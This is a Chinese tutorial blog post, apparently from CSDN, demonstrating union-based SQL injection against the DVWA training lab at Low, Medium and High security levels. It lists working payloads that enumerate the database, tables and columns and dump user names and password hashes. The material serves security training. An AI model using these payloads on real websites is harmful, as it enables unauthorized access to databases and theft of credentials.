DVWA——SQL注入

【原理】

日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。

网络安全成为了现在互联网的焦点,这也恰恰触动了每一位用户的神经,由于设计的漏洞导致了不可收拾的恶果,验证了一句话“出来混的,迟早是要还的”,所以介绍一些常用的攻击技术和防范策略。

SQL Injection也许很多人都知道或者使用过,如果没有了解或完全没有听过也没有关系,因为接下来我们将介绍SQL Injection。

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

首先让我们了解什么时候可能发生SQL Injection:

假设我们在浏览器中输入URL:www.sample.com,由于它只是对页面的简单请求无需对数据库动进行动态请求,所以它不存在SQL Injection,当我们输入www.sample.com?testid=23时,我们在URL中传递变量testid,并且提供值为23,由于它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),所以我们可以在该URL中嵌入恶意SQL语句。

初级SQL注入漏洞

点击DVWA Security,选择安全等级Low

选择SQL Injection在User ID输入数字1:

从显示的数据可以看出,经过了数据库的查询,尝试输入1':

通过尝试1' order by 1#,1' order by 2#,1' order by 3#得知该sql语句查询的只有2个字段:

在通过1' union select 1,2#得到可以显示数据的位置:

通过1' union select database(),2#得到当前数据库的名称:

通过1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#得到数据库里面的表:

通过1' union select group_concat(column_name),2 from information_schema.columns where table_name='user'#得到表的列名:

通过1' union select group_concat(User),group_concat(Password) from users#得到对应列的数据:

中级SQL注入漏洞

点击DVWA Security,选择安全等级Medium,点击Submit

选择SQL Injection在User ID选择数字1,点击Submit:

从显示的数据可以看出,经过了数据库的查询,根据下图改造浏览器,这样你每次点击Execute的时候就会把下面的参数当做POST类型的提交给服务器:

通过尝试修改数据包id字段为1 order by 1#,1 order by 2#,1 order by 3#得知该sql语句查询的只有2个字段:

在通过1 union select 1,2#得到可以显示数据的位置:

通过1 union select database(),2#得到当前数据库的名称:

通过1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#得到数据库里面的表:

通过1 union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273#得到表的列名:

通过1 union select group_concat(User),group_concat(Password) from users#得到对应列的数据:

高级SQL注入漏洞

点击DVWA Security,选择安全等级High,点击Submit

选择SQL Injection点击 here to change your ID,然后在弹出的输入框提交1:

从显示的数据可以看出,经过了数据库的查询。

通过尝试修改第一个数据包id字段为1' order by 1#,1' order by 2#,1' order by 3#得知该sql语句查询的只有2个字段:

在通过1' union select 1,2#得到可以显示数据的位置。

通过1' union select database(),2#得到当前数据库的名称:

通过1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#得到数据库里面的表:

通过1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#得到表的列名:

通过1' union select group_concat(User),group_concat(Password) from users#得到对应列的数据:

总结

  • 24
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值